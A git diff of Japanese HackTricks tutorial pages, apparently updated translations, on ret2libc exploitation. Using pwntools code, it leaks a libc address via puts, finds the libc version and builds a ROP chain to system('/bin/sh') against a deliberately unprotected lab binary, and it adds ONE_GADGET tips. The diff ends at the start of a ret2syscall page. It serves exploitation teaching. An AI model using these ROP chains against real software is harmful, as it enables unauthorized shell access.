2. `POP_RDI` ガジェット、`PUTS_PLT`、`MAIN` ガジェットを**見つける** 2. `POP_RDI`ガジェット、`PUTS_PLT`および`MAIN`ガジェットを**見つける**
3. 前述のガジェットを使用して、putsや他のlibc関数のメモリアドレスを**リーク**し、**libcバージョンを見つける**[ダウンロード](https://libc.blukat.me) 3. 前のガジェットを使用して、putsまたは他のlibc関数の**メモリアドレスを漏洩させ**、**libcのバージョンを見つける**[ダウンロードする](https://libc.blukat.me)
4. ライブラリを使用して、ROPを計算し、それを悪用する 4. ライブラリを使用して、**ROPを計算し、エクスプロイトする**
## 他のチュートリアルと練習用のバイナリ ## 実践するための他のチュートリアルとバイナリ
このチュートリアルでは、このチュートリアルで提案されたコード/バイナリを悪用します:[https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ このチュートリアルは、次のチュートリアルで提案されたコード/バイナリをエクスプロイトします:[https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
他の便利なチュートリアル:[https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/)、[https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) 他の有用なチュートリアル:[https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/)、[https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
## コード ## コード
@ -44,17 +45,17 @@ return 0;
```bash ```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie gcc -o vuln vuln.c -fno-stack-protector -no-pie
``` ```
## ROP - LIBCアドレス漏洩テンプレート ## ROP - LIBCを漏洩させるテンプレート
エクスプロイトをダウンロードし、脆弱性のあるバイナリと同じディレクトリに配置し、スクリプトに必要なデータを提供します: エクスプロイトをダウンロードし、脆弱バイナリと同じディレクトリに配置し、スクリプトに必要なデータを提供します:
{% content-ref url="rop-leaking-libc-template.md" %} {% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md) [rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %} {% endcontent-ref %}
## 1- オフセットの検索 ## 1- オフセットの特定
テンプレートは、エクスプロイトを続行する前にオフセットが必要です。提供されている場合、必要なコードを実行してそれを見つけます(デフォルトでは `OFFSET = ""` テンプレートは、エクスプロイトを続行する前にオフセットが必要です。提供された場合は、必要なコードを実行してそれを見つけます(デフォルトでは `OFFSET = ""`
```bash ```bash
################### ###################
### Find offset ### ### Find offset ###
@ -69,21 +70,21 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes #cyclic_find(0x6161616b) # Find the offset of those bytes
return return
``` ```
**実行** `python template.py` とすると、プログラムがクラッシュした状態で **GDBコンソール** が開かれます。その **GDBコンソール** 内で `x/wx $rsp` を実行して、RIP を上書きするバイト列を取得します。最後に、**pythonコンソール**を使用して **オフセット** を取得します: **実行** `python template.py` すると、クラッシュしたプログラムとともに GDB コンソールが開きます。その **GDB コンソール** 内で `x/wx $rsp` を実行して、RIP を上書きしようとしていた **バイト** を取得します。最後に、**python** コンソールを使用して **オフセット** を取得します:
```python ```python
from pwn import * from pwn import *
cyclic_find(0x6161616b) cyclic_find(0x6161616b)
``` ```
![](<../../../../.gitbook/assets/image (1007).png>) ![](<../../../../.gitbook/assets/image (1007).png>)
オフセットこの場合は40を見つけた後は、その値を使ってテンプレート内のOFFSET変数を変更します。\ オフセットこの場合は40を見つけた、その値を使ってテンプレート内のOFFSET変数を変更します。\
`OFFSET = "A" * 40` `OFFSET = "A" * 40`
別の方法は、GEFから `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` を使用することです。 別の方法としては、`pattern create 1000` -- _retまで実行_ -- `pattern seach $rsp`GEFから使用することです。
## 2- ガジェットの検索 ## 2- ガジェットの発見
次に、バイナリ内のROPガジェットを見つける必要があります。これらのROPガジェットは、**使用されているlibcを見つけるためにputsを呼び出し、後で** **最終的なエクスプロイトを起動する**のに役立ちます。 次に、バイナリ内のROPガジェットを見つける必要があります。このROPガジェットは、**libc**を見つけるために`puts`を呼び出すのに役立ち、後で**最終的なエクスプロイトを実行する**ために使用されます。
```python ```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main'] MAIN_PLT = elf.symbols['main']
@ -94,15 +95,15 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT)) log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI)) log.info("pop rdi; ret gadget: " + hex(POP_RDI))
``` ```
`PUTS_PLT`を呼び出すためには、**puts関数**を呼び出す必要があります。\ `PUTS_PLT`は**関数puts**を呼び出すために必要です。\
`MAIN_PLT`、**オーバーフローを再度**利用するために、1回のインタラクション後に**main関数**を再度呼び出すために必要です(無限の利用ラウンド)。 **各ROPの最後にプログラムを再度呼び出すために使用されます**。\ `MAIN_PLT`**オーバーフローを再度****悪用**するために、1回のインタラクションの後に**メイン関数**を再度呼び出すために必要です(無限の悪用のラウンド)。**各ROPの最後でプログラムを再度呼び出すために使用されます**。\
**POP\_RDI**は、呼び出される関数に**パラメータ**を**渡す**ために必要です。 **POP\_RDI**は呼び出された関数に**パラメータ**を**渡す**ために必要です。
このステップでは、実行する必要はありません。すべては実行中にpwntoolsによって見つけられます このステップでは、実行中にpwntoolsによってすべてが見つかるため、何も実行する必要はありません
## 3- libcライブラリの検索 ## 3- libcライブラリの特定
今は、使用されている**libc**ライブラリのバージョンを見つける時です。そのために、**puts**関数のメモリ内の**アドレス**を**リーク**し、その後そのアドレスにあるputsバージョンがどの**ライブラリバージョン**にあるかを**検索**します。 今はどのバージョンの**libc**ライブラリが使用されているかを見つける時です。そうするために、**関数**`puts`のメモリ内の**アドレス**を**漏洩**し、そのアドレスにあるputsのバージョンがどの**ライブラリバージョン**にあるかを**検索**します。
```python ```python
def get_addr(func_name): def get_addr(func_name):
FUNC_GOT = elf.got[func_name] FUNC_GOT = elf.got[func_name]
@ -131,50 +132,50 @@ if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive() p.interactive()
``` ```
それを行うために、実行されるコードの中で最も重要な行は次のとおりです: これを行うために、実行されたコードの最も重要な行は次のとおりです:
```python ```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
``` ```
これにより、**RIP** を**上書き**するまでのいくつかのバイトが送信されます: `OFFSET`。\ これは、**RIP**を**上書きする**ことが可能になるまでいくつかのバイトを送信します: `OFFSET`。\
次に、ガジェット `POP_RDI` の**アドレス**が設定され、次のアドレス (`FUNC_GOT`) が**RDI** レジスタに保存されます。これは、`PUTS_GOT` の**アドレス**をメモリ内の puts 関数のアドレスが `PUTS_GOT` によって指し示されるアドレスとして**渡して puts を呼び出したい**ためです。\ 次に、ガジェット`POP_RDI`の**アドレス**を設定し、次のアドレス(`FUNC_GOT`)が**RDI**レジスタに保存されるようにします。これは、`PUTS_GOT`の**アドレス**を渡して**putsを呼び出す**ためです。puts関数のメモリ内のアドレスは`PUTS_GOT`が指すアドレスに保存されています。\
その後、`PUTS_PLT` が呼び出されます(**RDI** に `PUTS_GOT` が含まれていますので、puts は `PUTS_GOT` 内の**内容****メモリ内の puts 関数のアドレス**)を**読み取り**、それを**出力**します。\ その後、`PUTS_PLT`が呼び出され(**RDI**内に`PUTS_GOT`がある状態で、putsは`PUTS_GOT`内の**内容を読み取ります****メモリ内のputs関数のアドレス**)そしてそれを**出力します**。\
最後に、**main 関数が再度呼び出され**、オーバーフローを再度悪用できます。 最後に、**main関数が再び呼び出され**、再度オーバーフローを利用できるようになります。
この方法で、puts 関数を**だまして**、**puts** 関数の**メモリ内のアドレス****libc** ライブラリ内にある)を**出力**させました。そのアドレスがわかったので、**使用されている libc のバージョンを調べる**ことができます この方法で、**puts関数を騙して**、**メモリ内の**puts関数の**アドレス****libc**ライブラリ内)を**出力させました**。そのアドレスがわかったので、**どのlibcバージョンが使用されているかを検索できます**
![](<../../../../.gitbook/assets/image (1049).png>) ![](<../../../../.gitbook/assets/image (1049).png>)
**ローカル**バイナリを**悪用**しているため、**使用されている libc のバージョンを特定する必要はありません**(単に `/lib/x86_64-linux-gnu/libc.so.6` でライブラリを見つければよい)。\ **ローカル**バイナリを**利用している**ため、どのバージョンの**libc**が使用されているかを特定する必要はありません(ただ`/lib/x86_64-linux-gnu/libc.so.6`でライブラリを見つければよいです)。\
ただし、リモートエクスプロイトの場合は、次に説明する方法で見つけることができます: しかし、リモートエクスプロイトの場合、ここでどのように見つけるかを説明します:
### 3.1- libc バージョンの検索1 ### 3.1- libcバージョンの検索 (1)
Web ページ [https://libc.blukat.me/](https://libc.blukat.me) で使用されているライブラリを検索できます。\ ウェブページでどのライブラリが使用されているかを検索できます: [https://libc.blukat.me/](https://libc.blukat.me)\
また、**libc** の発見されたバージョンをダウンロードすることもできます 発見された**libc**のバージョンをダウンロードすることもできます
![](<../../../../.gitbook/assets/image (221).png>) ![](<../../../../.gitbook/assets/image (221).png>)
### 3.2- libc バージョンの検索2 ### 3.2- libcバージョンの検索 (2)
次のようにすることもできます: 次のようにすることもできます
* `$ git clone https://github.com/niklasb/libc-database.git` * `$ git clone https://github.com/niklasb/libc-database.git`
* `$ cd libc-database` * `$ cd libc-database`
* `$ ./get` * `$ ./get`
これには時間がかかるので、お待ちください。\ これには少し時間がかかりますので、辛抱してください。\
これを機能させるためには、次のものが必要です: これが機能するためには、次が必要です:
* Libc シンボル名: `puts` * Libcシンボル名: `puts`
* リークした libc アドレス: `0x7ff629878690` * 漏洩したlibcアドレス: `0x7ff629878690`
最も可能性の高い**libc**がどれかを特定できます。 これにより、最も可能性の高い**libc**を特定できます。
```bash ```bash
./find puts 0x7ff629878690 ./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64)
``` ```
次の2つのマッチを取得します(最初のものが機能しない場合は2番目のものを試してください。最初のものをダウンロードしてください 私たちは2つのマッチを得ます最初のものが機能しない場合は2番目のものを試してください。最初のものをダウンロードしてください
```bash ```bash
./download libc6_2.23-0ubuntu10_amd64 ./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64
@ -183,9 +184,9 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package -> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
``` ```
### 3.3- リークするための他の関数
`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` から libc を作業ディレクトリにコピーします。 `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` から libc を作業ディレクトリにコピーします。
### 3.3- リークする他の関数
```python ```python
puts puts
printf printf
@ -193,25 +194,25 @@ __libc_start_main
read read
gets gets
``` ```
## 4- libcアドレスの特定と悪用 ## 4- libcアドレスの発見と悪用
この時点で使用されているlibcライブラリを知っている必要があります。ローカルバイナリを悪用しているので、単に次のようにします:`/lib/x86_64-linux-gnu/libc.so.6` この時点で使用されているlibcライブラリを知っている必要があります。ローカルバイナリを悪用しているので、私は次のようにします:`/lib/x86_64-linux-gnu/libc.so.6`
したがって、`template.py`の冒頭で、**libc**変数を次のように変更します:`libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` したがって、`template.py`の最初で**libc**変数を次のように変更します: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #ライブラリパスを知っているときに設定`
**libcライブラリ**への**パス**を指定すると、**残りの悪用が自動的に計算**されます **libcライブラリ**への**パス**を指定することで、残りの**エクスプロイトは自動的に計算されます**
`get_addr`関数の中で、**libcのベースアドレス**が計算されます: `get_addr`関数内で**libcのベースアドレス**が計算されます:
```python ```python
if libc != "": if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address)) log.info("libc base @ %s" % hex(libc.address))
``` ```
{% hint style="info" %} {% hint style="info" %}
**最終的なlibcベースアドレスは00で終わる必要がある**ことに注意してください。そうでない場合、間違ったライブラリが漏洩している可能性があります。 注意してください **最終的なlibcベースアドレスは00で終わる必要があります**。そうでない場合は、間違ったライブラリを漏洩した可能性があります。
{% endhint %} {% endhint %}
次に、`system`関数へのアドレスと文字列_"/bin/sh"_への**アドレス**は、**libc**の**ベースアドレス**から**計算**され、**与えられたlibcライブラリ**になります。 次に、関数 `system` へのアドレスと文字列 _"/bin/sh"_ への **アドレス****libcのベースアドレス** から **計算** され、**libcライブラリ** が与えられます。
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"] SYSTEM = libc.sym["system"]
@ -220,7 +221,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH)) log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM)) log.info("system %s " % hex(SYSTEM))
``` ```
後に、/bin/sh実行エクスプロイトが準備され送信される予定です: 終的に、/bin/sh 実行エクスプロイトが準備されます。
```python ```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -230,18 +231,18 @@ p.sendline(rop2)
#### Interact with the shell ##### #### Interact with the shell #####
p.interactive() #Interact with the conenction p.interactive() #Interact with the conenction
``` ```
## 最終のROPを説明しましょう。\ 最後のROPについて説明しましょう。\
最後のROP (`rop1`) は再びmain関数を呼び出して終了しましたので、**オーバーフロー**を再度利用できます(そのために`OFFSET`が再度ここにあります)。その後、`POP_RDI`を呼び出して _"/bin/sh"_ のアドレス (`BINSH`) を指し、**system** 関数 (`SYSTEM`) を呼び出します。なぜなら _"/bin/sh"_ のアドレスがパラメータとして渡されるからです。\ 最後のROP`rop1`は再びmain関数を呼び出し、次に**overflow**を**再利用**することができます(だから`OFFSET`がここに再びあります)。次に、`POP_RDI`を呼び出し、**"/bin/sh"**の**アドレス**`BINSH`)を指し示し、**system**関数(`SYSTEM`)を呼び出したいです。なぜなら、**"/bin/sh"**のアドレスがパラメータとして渡されるからです。\
最後に、**exit関数のアドレス**が呼び出されるので、プロセスが**きちんと終了**し、アラートが生成されません。 最後に、**exit関数のアドレス**が**呼び出され**、プロセスが**正常に終了**し、アラートが生成されません。
**この方法で、エクスプロイトは \_/bin/sh**\_\*\* シェルを実行します。\*\* **この方法で、エクスプロイトは\_/bin/sh**\_\*\*シェルを実行します。*\*
![](<../../../../.gitbook/assets/image (165).png>) ![](<../../../../.gitbook/assets/image (165).png>)
## 4(2)- ONE\_GADGETの使用 ## 4(2)- ONE\_GADGETの使用
[**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)を使用して、**system** と **"/bin/sh"** を使用する代わりにシェルを取得することもできます。**ONE\_GADGET** libcライブラリ内で1つの **ROPアドレス**だけを使用してシェルを取得する方法を見つけます。\ **system**と**"/bin/sh"**を使用する代わりに、[**ONE\_GADGET**](https://github.com/david942j/one\_gadget)を使用してシェルを取得することもできます。**ONE\_GADGET**はlibcライブラリ内で1つの**ROPアドレス**を使用してシェルを取得する方法を見つけます。\
ただし、通常、いくつかの制約があります。最も一般的で回避しやすいものは、`[rsp+0x30] == NULL` のようなものです。**RSP**内の値を制御できるため、さらにいくつかのNULL値を送信して制約を回避すればよいです。 ただし、通常はいくつかの制約があり、最も一般的で回避しやすいものは`[rsp+0x30] == NULL`のようなものです。**RSP**内の値を制御しているので、制約を回避するためにもう少しNULL値を送信するだけです。
![](<../../../../.gitbook/assets/image (754).png>) ![](<../../../../.gitbook/assets/image (754).png>)
```python ```python
@ -250,7 +251,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
``` ```
## EXPLOIT FILE ## EXPLOIT FILE
この脆弱性を悪用するためのテンプレートはこちらにあります: この脆弱性を利用するためのテンプレートはここにあります:
{% content-ref url="rop-leaking-libc-template.md" %} {% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md) [rop-leaking-libc-template.md](rop-leaking-libc-template.md)
@ -260,38 +261,39 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
### MAIN\_PLT = elf.symbols\['main'] が見つかりません ### MAIN\_PLT = elf.symbols\['main'] が見つかりません
"main" シンボルが存在しない場合は、mainコードがどこにあるかを見つけることができます: "main" シンボルが存在しない場合、メインコードの場所を見つけることができます:
```python ```python
objdump -d vuln_binary | grep "\.text" objdump -d vuln_binary | grep "\.text"
Disassembly of section .text: Disassembly of section .text:
0000000000401080 <.text>: 0000000000401080 <.text>:
``` ```
そしてアドレスを手動で設定します: アドレスを手動で設定します:
```python ```python
MAIN_PLT = 0x401080 MAIN_PLT = 0x401080
``` ```
### Putsが見つかりません ### Putsが見つかりません
バイナリがPutsを使用していない場合は、次のように使用しているかどうかを確認する必要があります バイナリがPutsを使用していない場合は、次のことを確認してください。
### `sh: 1: %s%s%s%s%s%s%s%s: not found` ### `sh: 1: %s%s%s%s%s%s%s%s: not found`
この**エラー**を見つけた場合は、すべてのエクスプロイトを作成した後に `sh: 1: %s%s%s%s%s%s%s%s: not found` すべてのエクスプロイトを作成した後にこの**エラー**が見つかった場合: `sh: 1: %s%s%s%s%s%s%s%s: not found`
**"/bin/sh"のアドレスから64バイトを引いてみてください** **"/bin/sh"のアドレスから64バイトを引いてみてください**:
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 BINSH = next(libc.search("/bin/sh")) - 64
``` ```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Libcの漏洩 - テンプレート # libcのリーク - テンプレート
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details> </details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -206,9 +207,9 @@ P.interactive() #Interact with your shell :)
## 一般的な問題 ## 一般的な問題
### MAIN_PLT = elf.symbols\['main'] が見つかりません ### MAIN\_PLT = elf.symbols\['main'] が見つかりません
"main" シンボルが存在しない場合(おそらくストリップされたバイナリのため)、main コードの場所を見つけることができます: 「main」シンボルが存在しない場合(おそらくストリップされたバイナリのため)、メインコードの場所を見つけることができます:
```python ```python
objdump -d vuln_binary | grep "\.text" objdump -d vuln_binary | grep "\.text"
Disassembly of section .text: Disassembly of section .text:
@ -218,15 +219,15 @@ Disassembly of section .text:
```python ```python
MAIN_PLT = 0x401080 MAIN_PLT = 0x401080
``` ```
### Putsが見つかりません ### Putsが見つからない
バイナリがPutsを使用していない場合は、**それが使用されているかどうかを確認**する必要があります。 バイナリがPutsを使用していない場合は、**使用しているか確認してください**
### `sh: 1: %s%s%s%s%s%s%s%s: not found` ### `sh: 1: %s%s%s%s%s%s%s%s: not found`
この**エラー**を見つけた場合は、すべてのエクスプロイトを作成した後に`sh: 1: %s%s%s%s%s%s%s%s: not found`を試してください。 すべてのエクスプロイトを作成した後にこの**エラー**が見つかった場合: `sh: 1: %s%s%s%s%s%s%s%s: not found`
"/bin/sh"のアドレスから**64バイトを引く**ことを試してください。 **"/bin/sh"のアドレスから64バイトを引いてみてください**:
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 BINSH = next(libc.search("/bin/sh")) - 64
``` ```
@ -235,16 +236,17 @@ BINSH = next(libc.search("/bin/sh")) - 64
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}

View file

@ -1,39 +1,40 @@
# Ret2syscall # Ret2syscall
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
</details> </details>
{% endhint %}
## 基本情報 ## 基本情報
これはRet2libに似ていますが、この場合はライブラリから関数を呼び出すのではなく、`sys_execve` システムコールを呼び出して `/bin/sh` を実行するための引数を用意します。このテクニックは通常、静的にコンパイルされたバイナリで実行され、多くのガジェットとシステムコール命令がある可能性があります。 これはRet2libに似ていますが、この場合はライブラリから関数を呼び出すことはありません。この場合、すべては`sys_execve`システムコールを呼び出すために準備され、引数として`/bin/sh`を実行します。この技術は通常、静的にコンパイルされたバイナリで実行されるため、多くのガジェットやシステムコール命令が存在する可能性があります。
**システムコール**を呼び出すためには、次の構成が必要です: **syscall**の呼び出しを準備するためには、次の構成が必要です:
* `rax: 59 sys_execve を指定` * `rax: 59 sys_execveを指定`
